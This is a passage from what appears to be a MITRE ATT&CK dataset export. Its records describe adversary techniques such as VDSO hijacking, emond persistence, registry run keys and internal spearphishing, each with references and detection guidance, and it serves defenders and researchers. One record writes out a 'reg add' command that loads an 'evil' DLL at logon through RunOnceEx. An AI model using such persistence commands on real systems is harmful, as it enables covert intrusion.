* <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
* <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
* <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/001"
},
{
"description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
"external_id": null,
"source_name": "Microsoft Change Default Programs",
"url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs"
},
{
"description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
"external_id": null,
"source_name": "Microsoft File Handlers",
"url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx"
},
{
"description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
"external_id": null,
"source_name": "Microsoft Assoc Oct 2017",
"url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc"
},
{
"description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
"external_id": null,
"source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
"url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.
User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.
Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T01:35:00.781000Z" | "2022-07-07T17:09:09.048000Z" | VDSO Hijacking | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.
VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.014",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/014"
},
{
"description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020.",
"external_id": null,
"source_name": "Backtrace VDSO",
"url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/"
},
{
"description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.",
"external_id": null,
"source_name": "Syscall 2014",
"url": "https://lwn.net/Articles/604515/"
},
{
"description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "GNU Acct",
"url": "https://www.gnu.org/software/acct/"
},
{
"description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "RHEL auditd",
"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
},
{
"description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "ArtOfMemoryForensics",
"url": null
},
{
"description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.",
"external_id": null,
"source_name": "ELF Injection May 2009",
"url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html"
},
{
"description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.",
"external_id": null,
"source_name": "VDSO Aug 2005",
"url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/"
},
{
"description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "Chokepoint preload rootkits",
"url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux"
] | 1.1 |
attack-pattern | attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-15T16:16:25.763000Z" | "2024-01-18T17:23:22.591000Z" | File Transfer Protocols | Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1071.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1071/002"
},
{
"description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
"external_id": null,
"source_name": "ESET Machete July 2019",
"url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
"external_id": null,
"source_name": "US-CERT TA18-074A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.2 |
attack-pattern | attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-04-18T17:59:24.739000Z" | "2023-10-15T11:45:21.555000Z" | Exploitation for Credential Access | Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.
Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)
Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)
Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1212",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1212"
},
{
"description": "Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.",
"external_id": null,
"source_name": "Bugcrowd Replay Attack",
"url": "https://www.bugcrowd.com/glossary/replay-attack/"
},
{
"description": "Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.",
"external_id": null,
"source_name": "Comparitech Replay Attack",
"url": "https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/"
},
{
"description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
"external_id": null,
"source_name": "ADSecurity Detecting Forged Tickets",
"url": "https://adsecurity.org/?p=1515"
},
{
"description": "Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.",
"external_id": null,
"source_name": "Storm-0558 techniques for unauthorized email access",
"url": "https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/"
},
{
"description": "Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 27, 2023.",
"external_id": null,
"source_name": "Microsoft Midnight Blizzard Replay Attack",
"url": "https://twitter.com/MsftSecIntel/status/1671579359994343425"
},
{
"description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.",
"external_id": null,
"source_name": "Technet MS14-068",
"url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"macOS",
"Azure AD"
] | 1.5 |
attack-pattern | attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T15:15:13.426000Z" | "2022-04-20T00:16:01.732000Z" | Emond | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.
The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.014",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/014"
},
{
"description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
"external_id": null,
"source_name": "magnusviri emond Apr 2016",
"url": "http://www.magnusviri.com/Mac/what-is-emond.html"
},
{
"description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
"external_id": null,
"source_name": "xorrior emond Jan 2018",
"url": "https://www.xorrior.com/emond-persistence/"
},
{
"description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
"external_id": null,
"source_name": "sentinelone macos persist Jun 2019",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-14T22:45:52.963000Z" | "2020-03-26T23:26:10.109000Z" | One-Way Communication | Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1102.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1102/003"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T15:45:17.628000Z" | "2021-04-15T03:34:23.229000Z" | Gather Victim Network Information | Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1590",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1590"
},
{
"description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "WHOIS",
"url": "https://www.whois.net/"
},
{
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "DNS Dumpster",
"url": "https://dnsdumpster.com/"
},
{
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Circl Passive DNS",
"url": "https://www.circl.lu/services/passive-dns/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-04-18T17:59:24.739000Z" | "2022-02-24T15:06:46.006000Z" | Exploitation of Remote Services | Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.
There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)
Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1210",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1210"
},
{
"description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
"external_id": null,
"source_name": "CIS Multiple SMB Vulnerabilities",
"url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"
},
{
"description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.",
"external_id": null,
"source_name": "NVD CVE-2017-0176",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176"
},
{
"description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
"external_id": null,
"source_name": "NVD CVE-2016-6662",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"
},
{
"description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
"external_id": null,
"source_name": "NVD CVE-2014-7169",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-09-04T19:26:12.441000Z" | "2024-02-16T13:09:39.215000Z" | Internal Spearphishing | After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)
For example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.
Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1534",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1534"
},
{
"description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Trend Micro When Phishing Starts from the Inside 2017",
"url": "https://blog.trendmicro.com/phishing-starts-inside/"
},
{
"description": "Microsoft Threat Intelligence. (2023, August 2). Midnight Blizzard conducts targeted social engineering over Microsoft Teams. Retrieved February 16, 2024.",
"external_id": null,
"source_name": "Int SP - chat apps",
"url": "https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/"
},
{
"description": "Trend Micro. (n.d.). Retrieved February 16, 2024.",
"external_id": null,
"source_name": "Trend Micro - Int SP",
"url": "https://www.trendmicro.com/en_us/research.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux",
"Office 365",
"SaaS",
"Google Workspace"
] | 1.3 |
attack-pattern | attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-12T20:43:53.998000Z" | "2023-03-30T21:01:37.026000Z" | Services File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1574.010",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/010"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.
Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-23T22:02:48.566000Z" | "2023-10-16T09:08:22.319000Z" | Registry Run Keys / Startup Folder | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
The following run keys are created by default on Windows systems:
* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.
The following Registry keys can be used to set startup folder items for persistence:
* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
* <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
* <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
The following Registry keys can control automatic startup of services during boot:
* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
* <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run automatically for the currently logged-on user.
By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
